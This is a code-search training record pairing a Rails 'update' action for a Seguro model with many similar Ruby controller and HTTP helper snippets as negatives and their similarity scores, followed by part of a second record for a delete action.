def update @seguro = Seguro.find(params[:id]) respond_to do |format| if @seguro.update_attributes(params[:seguro]) format.html { redirect_to @seguro, notice: 'Seguro was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @seguro.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def put!\n request! :put\n end", "def put(*args)\n request :put, *args\n end", "def update\n respond_to do |format|\n if @soatseguro.update(soatseguro_params)\n format.html { redirect_to @soatseguro, notice: 'Soatseguro was successfully updated.' }\n format.json { render :show, status: :ok, location: @soatseguro }\n else\n format.html { render :edit }\n format.json { render json: @soatseguro.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @seguidore = Seguidore.find(params[:id])\n\n respond_to do |format|\n if @seguidore.update_attributes(params[:seguidore])\n format.html { redirect_to @seguidore, notice: 'Seguidore was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @seguidore.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n @selecao = Selecao.find(params[:id])\n\n respond_to do |format|\n if @selecao.update_attributes(params[:selecao])\n format.html { redirect_to @selecao, notice: 'Selecao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @selecao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sinistro.update(sinistro_params)\n format.html { redirect_to @sinistro, notice: 'Sinistro was successfully updated.' }\n format.json { render :show, status: :ok, location: @sinistro }\n else\n format.html { render :edit }\n format.json { render json: @sinistro.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(*args)\n request(:put, *args)\n end", "def update\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n if @servicio.update_attributes(params[:servicio])\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @socio_serasa.update(socio_serasa_params)\n format.html { redirect_to @socio_serasa, notice: 'Socio serasa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @socio_serasa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ginasio = Ginasio.find(params[:id])\n\n respond_to do |format|\n if @ginasio.update_attributes(params[:ginasio])\n format.html { redirect_to @ginasio, :flash => { :success => 'Dados do ginasio alterados com successo!' } }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @ginasio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(path, data = {})\n request 'PUT', path, body: data.to_json\n end", "def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n if @socio.update_attributes(params[:socio])\n format.html { redirect_to @socio, :notice => 'Socio atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @socio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sintoma.update(sintoma_params)\n format.html { redirect_to @sintoma, notice: 'Sintoma was successfully updated.' }\n format.json { render :show, status: :ok, location: @sintoma }\n else\n format.html { render :edit }\n format.json { render json: @sintoma.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def update\n respond_to do |format|\n if @segundo.update(segundo_params)\n format.html { redirect_to @segundo, notice: 'Segundo was successfully updated.' }\n format.json { render :show, status: :ok, location: @segundo }\n else\n format.html { render :edit }\n format.json { render json: @segundo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end", "def update\n respond_to do |format|\n if @inventario_cosa.update(inventario_cosa_params)\n format.html { redirect_to @inventario_cosa, notice: 'Inventario cosa was successfully updated.' }\n format.json { render :show, status: :ok, location: @inventario_cosa }\n else\n format.html { render :edit }\n format.json { render json: @inventario_cosa.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, opts = {})\n request(:put, path, opts).body\n end", "def update\n @solicitud_servicio = SolicitudServicio.find(params[:id])\n\n respond_to do |format|\n if @solicitud_servicio.update_attributes(params[:solicitud_servicio])\n format.html { redirect_to @solicitud_servicio, notice: 'Solicitud servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @solicitud_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @osoba = Osoba.find(params[:id])\n\n if @osoba.update(params[:osoba])\n head :no_content\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def update\n respond_to do |format|\n if @seguimiento.update(seguimiento_params)\n format.html { redirect_to @seguimiento.caso, notice: \"Seguimiento actualizado.\" }\n format.json { render :show, status: :ok, location: @seguimiento }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @seguimiento.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, parameters = {})\n request(:put, path, parameters)\n end", "def update\n @soiree = Soiree.find(params[:id])\n\n respond_to do |format|\n if @soiree.update_attributes(params[:soiree])\n format.html { redirect_to @soiree, notice: 'Soiree was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @soiree.errors, status: :unprocessable_entity }\n end\n end\n end", "def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end", "def update\n @sistema = Sistema.find(params[:id])\n\n respond_to do |format|\n if @sistema.update_attributes(params[:sistema])\n format.html { redirect_to @sistema, notice: 'Sistema was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sistema.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def put(path, params={})\n request(:put, path, params)\n end", "def update\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n if @sitio.update_attributes(params[:sitio])\n format.html { redirect_to @sitio, notice: 'Sitio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sitio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sugerencia = Sugerencia.find(params[:id])\n\n respond_to do |format|\n if @sugerencia.update_attributes(params[:sugerencia])\n format.html { redirect_to @sugerencia, :notice => 'Sugerencia was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @sugerencia.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(path, params={})\n RestClient.put request_base+path, params\n end", "def put(path = '/files/', params = {})\n request :put, path, params\n end", "def update\n if @spice.update(spice_params)\n head :no_content\n else\n render json: @spice.errors, status: :unprocessable_entity\n end\n end", "def api_put(path, data = {})\n api_request(:put, path, :data => data)\n end", "def update\n respond_to do |format|\n if @solicitud.update(solicitud_params)\n format.html { redirect_to @solicitud, notice: 'Solicitud was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, body = nil, ctype = 'application/json')\n make_call(mk_conn(path, 'Content-Type': ctype,\n 'Accept': 'application/json'),\n :put, nil, body.to_json)\n end", "def put(path, options={})\n request :put, path, options\n end", "def update\r\n respond_to do |format|\r\n if @sivic_pessoa.update(sivic_pessoa_params)\r\n format.html { redirect_to @sivic_pessoa, notice: 'Registro alterado com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_pessoa.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def put(path, options={}, format=format)\n request(:put, path, options, format)\n end", "def update\n @sitio_entrega = SitioEntrega.find(params[:id])\n\n respond_to do |format|\n if @sitio_entrega.update_attributes(params[:sitio_entrega])\n format.html { redirect_to @sitio_entrega, notice: 'Sitio entrega was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sitio_entrega.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @documentos_simposio.update(documentos_simposio_params)\n format.html { redirect_to @documentos_simposio, notice: 'Documentos simposio was successfully updated.' }\n format.json { render :show, status: :ok, location: @documentos_simposio }\n else\n format.html { render :edit }\n format.json { render json: @documentos_simposio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n respond_to do |format|\r\n if @sivic_celula.update(sivic_celula_params)\r\n format.html { redirect_to @sivic_celula, notice: 'Registro alterado com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_celula.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def set_soatseguro\n @soatseguro = Soatseguro.find(params[:id])\n end", "def update\n respond_to do |format|\n if @suggetion.update(suggetion_params)\n format.html { redirect_to @suggetion, notice: 'Suggetion was successfully updated.' }\n format.json { render :show, status: :ok, location: @suggetion }\n else\n format.html { render :edit }\n format.json { render json: @suggetion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @usuario_seguidor.update(usuario_seguidor_params)\n format.html { redirect_to @usuario_seguidor, notice: 'Usuario seguidor was successfully updated.' }\n format.json { render :show, status: :ok, location: @usuario_seguidor }\n else\n format.html { render :edit }\n format.json { render json: @usuario_seguidor.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @souvenior.update(souvenior_params)\n format.html { redirect_to @souvenior, notice: 'Souvenior was successfully updated.' }\n format.json { render :show, status: :ok, location: @souvenior }\n else\n format.html { render :edit }\n format.json { render json: @souvenior.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, params)\n request(:put, path, params)\n end", "def update\n @estoque = Estoque.find(params[:id])\n\n respond_to do |format|\n if @estoque.update_attributes(params[:estoque])\n format.html { redirect_to @estoque, notice: 'Estoque was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @estoque.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sezione = Sezione.find(params[:id])\n\n respond_to do |format|\n if @sezione.update_attributes(params[:sezione])\n format.html { redirect_to elencosezioni_path, notice: 'Sezione was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sezione.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @socio.update(socio_params)\n format.html { redirect_to @socio, notice: 'Socio modificado com sucesso.' }\n format.json { render :show, status: :ok, location: @socio }\n else\n format.html { render :edit }\n format.json { render json: @socio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n if @socio.update_attributes(params[:socio])\n format.html { redirect_to @socio, notice: 'Socio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @socio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @servico.update(servico_params)\n format.html { redirect_to servicos_url, notice: 'Serviço atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @servico }\n else\n format.html { render :edit }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @solicitud.update(solicitud_params)\n format.html { redirect_to @solicitud, notice: 'Solicitud was successfully updated.' }\n format.json { render :show, status: :ok, location: @solicitud }\n else\n format.html { render :edit }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @simulado.update(simulado_params)\n format.html { redirect_to @simulado, notice: 'Simulado was successfully updated.' }\n format.json { render :show, status: :ok, location: @simulado }\n else\n format.html { render :edit }\n format.json { render json: @simulado.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :update, Solicitud\n respond_to do |format|\n if @solicitud.update(solicitud_params)\n format.html { redirect_to solicitudes_path, notice: 'Solicitud actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: solicitudes_path }\n else\n format.html { render :edit }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @<%= singular_table_name %>.update(<%= singular_table_name %>_params)\n format.html { redirect_to @<%= singular_table_name %>, notice: \"#{t('activerecord.models.<%= singular_table_name %>.one')} atualizado com sucesso.\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @<%= singular_table_name %>.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, options = {})\n request(:put, path, options)\n end", "def put(path, options = {})\n request(:put, path, options)\n end", "def update \n retorno = {erro: \"322\" ,body: \"\"}\n if @usuario.update(valid_request?)\n retorno = {erro: \"000\", body: {evento_id: @usuario.id, usuario_nome: @usuario.nome}}\n end\n render json: retorno.to_json\n end", "def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end", "def update\n @serie = Serie.find(params[:id])\n\n respond_to do |format|\n if @serie.update_attributes(params[:serie])\n format.html { redirect_to(niveis_ensino_serie_url(@nivel,@serie), :notice => 'Serie atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @serie.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @solicitud.update(solicitud_params)\n format.html { redirect_to @solicitud, notice: \"Solicitud was successfully updated.\" }\n format.json { render :show, status: :ok, location: @solicitud }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sejour.update(sejour_params)\n format.html { redirect_to @sejour, notice: 'Sejour mis a jour.' }\n format.json { render :show, status: :ok, location: @sejour }\n else\n format.html { render :edit }\n format.json { render json: @sejour.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n client=Client.find_by_id params[:id]\n if client!= nil\n client.cedula=params[:cedula] ? params[:cedula]: client.cedula\n client.sector=params[:sector] ? params[:sector]: client.sector\n client.nombre=params[:nombre] ? params[:nombre]: client.nombre\n client.telefono=params[:telefono] ? params[:telefono]: client.telefono\n client.pagina=params[:pagina] ? params[:pagina]: client.pagina\n client.direccion=params[:direccion] ? params[:direccion]: client.direccion\n if client.save\n render(json: client, status: 201)\n end \n else\n render(json: client.errors, status: 404)\n end \n end", "def update\n respond_to do |format|\n @sucursale.usuarios_id = current_usuario.id\n if @sucursale.update(sucursale_params)\n format.html { redirect_to @sucursale, notice: 'Sucursal actualizada con exito!' }\n format.json { render :show, status: :ok, location: @sucursale }\n else\n format.html { render :edit }\n format.json { render json: @sucursale.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, data=nil)\n request(:put, path, data)\n end", "def update\n @sabio = Sabio.find(params[:id])\n\n respond_to do |format|\n if @sabio.update_attributes(params[:sabio])\n format.html { redirect_to @sabio, notice: 'El Sabio fue actualizado.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sabio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sinh_vien = SinhVien.find(params[:id])\n\n respond_to do |format|\n if @sinh_vien.update_attributes(params[:sinh_vien]) \n format.json { head :no_content }\n else \n format.json { render json: @sinh_vien.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ventas_seguimiento = Ventas::Seguimiento.find(params[:id])\n @ventas_seguimiento.actual_user(current_user)\n\n respond_to do |format|\n if @ventas_seguimiento.update_attributes(params[:ventas_seguimiento])\n format.html { redirect_to @ventas_seguimiento, notice: 'Seguimiento was successfully updated.' }\n format.json { head :no_content }\n else\n flash.now[:error] = @ventas_seguimiento.errors.first[1]\n format.html { render action: \"edit\" }\n format.json { render json: @ventas_seguimiento.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, options = {}, raw = false)\n request(:put, path, options, raw)\n end", "def update\r\n @asistencia = Asistencia.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @asistencia.update_attributes(params[:asistencia])\r\n format.html { redirect_to @asistencia, notice: 'Asistencia was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @asistencia.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @sekilas_info.update(sekilas_info_params)\n format.html { redirect_to @sekilas_info, notice: 'Sekilas info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sekilas_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @seminar.update(seminar_params)\n format.html { redirect_to @seminar, notice: \"Seminar was successfully updated.\" }\n format.json { render :show, status: :ok, location: @seminar }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @seminar.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @respuesta = Respuesta.find(params[:id])\n\n if @respuesta.update(params[:respuesta])\n head :no_content\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end", "def update\n @suplente = Suplente.find(params[:id])\n\n respond_to do |format|\n if @suplente.update_attributes(params[:suplente])\n format.html { redirect_to @suplente, notice: 'Lista acuerdo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @suplente.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @nossos_servico = NossosServico.find(params[:id])\n\n respond_to do |format|\n if @nossos_servico.update_attributes(params[:nossos_servico])\n format.html { redirect_to(@nossos_servico, :notice => 'Nossos servico was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @nossos_servico.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @registro_servicio.update(registro_servicio_params)\n format.html { redirect_to @registro_servicio, notice: 'Servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @registro_servicio }\n else\n format.html { render :edit }\n format.json { render json: @registro_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, options = {})\n request(:put, path, options)\n end", "def put(path, options = {})\n request(:put, path, options)\n end", "def update\r\n respond_to do |format|\r\n if @sivic_ministerio.update(sivic_ministerio_params)\r\n format.html { redirect_to @sivic_ministerio, notice: 'Registro alterado com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_ministerio.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @semestre.update(semestre_params)\n format.html { redirect_to semestres_url, notice: 'Semestre was successfully updated.' }\n format.json { render :show, status: :ok, location: @semestre }\n else\n format.html { render :edit }\n format.json { render json: @semestre.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, options={})\n send_request 'put', path, options\n end" ]
[ "0.6336726", "0.6295592", "0.62858766", "0.62032026", "0.61834365", "0.6163441", "0.6145823", "0.6106609", "0.609704", "0.6088859", "0.60599035", "0.6054703", "0.60459125", "0.60319024", "0.6013503", "0.6012059", "0.6012059", "0.6012059", "0.60052884", "0.5992054", "0.59513116", "0.59426457", "0.59426457", "0.5941734", "0.5941263", "0.5934737", "0.5934506", "0.59193534", "0.59160113", "0.5906062", "0.5892444", "0.5892444", "0.5892444", "0.5892444", "0.5892444", "0.5892444", "0.5892444", "0.5892444", "0.587253", "0.5869531", "0.5867748", "0.5864338", "0.5863916", "0.58509654", "0.58454233", "0.5845105", "0.58443654", "0.58407485", "0.5836339", "0.5831117", "0.5824976", "0.5820945", "0.58188725", "0.58123004", "0.58050585", "0.57949513", "0.57946336", "0.579227", "0.5790732", "0.57867336", "0.57860523", "0.57814443", "0.5780843", "0.57761145", "0.5775272", "0.5775045", "0.5771163", "0.5761735", "0.5760853", "0.57505864", "0.5747595", "0.5740104", "0.5736567", "0.5734965", "0.57326597", "0.57326597", "0.5732243", "0.57312745", "0.57304937", "0.5728043", "0.57181513", "0.57180965", "0.5717071", "0.57129157", "0.5711489", "0.57092726", "0.5704348", "0.57036346", "0.5703578", "0.5700729", "0.56995803", "0.5698663", "0.56964535", "0.5695898", "0.5692658", "0.5689578", "0.5689578", "0.56832135", "0.56800467", "0.56751543" ]
0.6817128
0
DELETE /seguros/1 DELETE /seguros/1.json
def destroy @seguro = Seguro.find(params[:id]) @seguro.destroy respond_to do |format| format.html { redirect_to seguros_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @seguidore = Seguidore.find(params[:id])\n @seguidore.destroy\n\n respond_to do |format|\n format.html { redirect_to seguidores_url }\n format.json { head :ok }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @selecao = Selecao.find(params[:id])\n @selecao.destroy\n\n respond_to do |format|\n format.html { redirect_to selecaos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @soatseguro.destroy\n respond_to do |format|\n format.html { redirect_to soatseguros_url, notice: 'Soatseguro was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sezione = Sezione.find(params[:id])\n @sezione.destroy\n\n respond_to do |format|\n format.html { redirect_to sezioni_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @segundo.destroy\n respond_to do |format|\n format.html { redirect_to segundos_url, notice: 'Segundo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @veiculo = Veiculo.find(params[:id])\n @veiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to veiculos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @prueba_json.destroy\n respond_to do |format|\n format.html { redirect_to prueba_jsons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @servicio = Servicio.find(params[:id])\n @servicio.destroy\n\n respond_to do |format|\n format.html { redirect_to servicios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reconocimiento = Reconocimiento.find(params[:id])\n @reconocimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to reconocimientos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @humanidades1 = Humanidades1.find(params[:id])\n @humanidades1.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sugerencia = Sugerencia.find(params[:id])\n @sugerencia.destroy\n\n respond_to do |format|\n format.html { redirect_to sugerencias_url }\n format.json { head :ok }\n end\n end", "def destroy\n @solicitud.destroy\n respond_to do |format|\n format.html { redirect_to solicitudes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exura = Exura.find(params[:id])\n @exura.destroy\n\n respond_to do |format|\n format.html { redirect_to exuras_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ginasio = Ginasio.find(params[:id])\n @ginasio.destroy\n\n respond_to do |format|\n format.html { redirect_to ginasios_url, :flash => { :notice => 'Ginasio apagado.' } }\n format.json { head :ok }\n end\n end", "def destroy\n @escola = Escola.find(params[:id])\n @escola.destroy\n\n respond_to do |format|\n format.html { redirect_to escolas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sinistro.destroy\n respond_to do |format|\n format.html { redirect_to sinistros_url, notice: 'Sinistro was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n head :no_content\n end", "def destroy\n @soiree = Soiree.find(params[:id])\n @soiree.destroy\n\n respond_to do |format|\n format.html { redirect_to soirees_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @estatuto = Estatuto.find(params[:id])\n @estatuto.destroy\n\n respond_to do |format|\n format.html { redirect_to estatutos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sistema = Sistema.find(params[:id])\n @sistema.destroy\n\n respond_to do |format|\n format.html { redirect_to sistemas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n @agronomiaquimica.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiaquimicas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @suplente = Suplente.find(params[:id])\n @suplente.destroy\n\n respond_to do |format|\n format.html { redirect_to suplentes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cargo_eleicao = CargoEleicao.find(params[:id])\n @cargo_eleicao.destroy\n\n respond_to do |format|\n format.html { redirect_to cargo_eleicaos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sintoma.destroy\n respond_to do |format|\n format.html { redirect_to sintomas_url, notice: 'Sintoma was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end", "def destroy\n @colegio = Colegio.find(params[:id])\n @colegio.destroy\n\n respond_to do |format|\n format.html { redirect_to colegios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end", "def delete\n unless possui_acesso?()\n return\n end\n @aviso = Aviso.find(params[:id])\n @aviso.destroy\n\n respond_to do |format|\n format.html { redirect_to avisos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @datosgenerale.destroy\n respond_to do |format|\n format.html { redirect_to datosgenerales_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ocorrencia.destroy\n respond_to do |format|\n format.html { redirect_to ocorrencias_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @datos_insumos_reactivo.destroy\n respond_to do |format|\n format.html { redirect_to datos_insumos_reactivos_url }\n format.json { head :no_content }\n end\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def destroy\n @sivic_discipulo.destroy\n respond_to do |format|\n format.html { redirect_to sivic_discipulos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trabajador_seccion.destroy\n respond_to do |format|\n format.html { redirect_to trabajador_seccions_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n request 'DELETE', path\n end", "def destroy\n @substancia.destroy\n respond_to do |format|\n format.html { redirect_to substancias_url, notice: 'Substancia was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @safra_verdoso = SafraVerdoso.find(params[:id])\n @safra_verdoso.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/safra_produtos/#{@safra_verdoso.safra_produto_id}/descontos\"}\n format.json { head :no_content }\n end\n end", "def destroy\n arquivo = Arquivo.find(@pregoestitulosgrafico.arquivo_id)\n\n File.delete(arquivo.caminho)\n\n pregoestitulo = Pregoestitulo.find(@pregoestitulosgrafico.pregoestitulo_id)\n \n @pregoestitulosgrafico.destroy\n respond_to do |format|\n format.html { redirect_to pregoestitulo, notice: 'Arquivo excluído com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @giro_comercial.destroy\n respond_to do |format|\n format.html { redirect_to giro_comercials_url, notice: 'Giro comercial fue exitosamente destruido.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @fulcliente = Fulcliente.find(params[:id])\n @fulcliente.destroy\n\n respond_to do |format|\n format.html { redirect_to fulclientes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @sabio = Sabio.find(params[:id])\n @sabio.destroy\n\n respond_to do |format|\n format.html { redirect_to sabios_url }\n format.json { head :ok }\n end\n end", "def delete_aos_version(args = 